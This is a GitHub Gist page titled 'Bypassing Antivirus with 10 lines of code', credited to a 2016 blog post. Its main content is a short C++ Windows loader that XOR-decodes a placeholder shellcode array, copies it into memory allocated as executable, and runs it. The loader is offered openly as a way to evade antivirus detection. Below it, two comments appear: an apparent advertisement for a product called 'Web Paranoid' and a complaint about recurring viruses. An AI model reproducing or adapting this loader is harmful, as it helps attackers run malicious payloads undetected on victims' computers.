Last active
May 28, 2024 17:18
-
-
Save NULLx76/83e2240118f73062d6cf to your computer and use it in GitHub Desktop.
Bypassing Antivirus with 10 lines of code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* source: http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html */ | |
#include <windows.h> | |
#include <iostream> | |
int main(int argc, char **argv) { | |
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */}; | |
char c[sizeof b]; | |
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';} | |
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
memcpy(exec, c, sizeof c); | |
((void(*)())exec)(); | |
} | |
I can give you a little advice. Web Paranoid does a great job with these kinds of problems. Of course, it will not remove viruses that are already present, but it can prevent other problems that may arise if you download files from the Internet from unfamiliar links, so I recommend you give it a try.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Guys, I'm getting so tired of viruses on my computer, they just won't stop. How do you fight it? I think it's just unrealistic. Every time I download something, it turns out that I have a new virus on my computer again.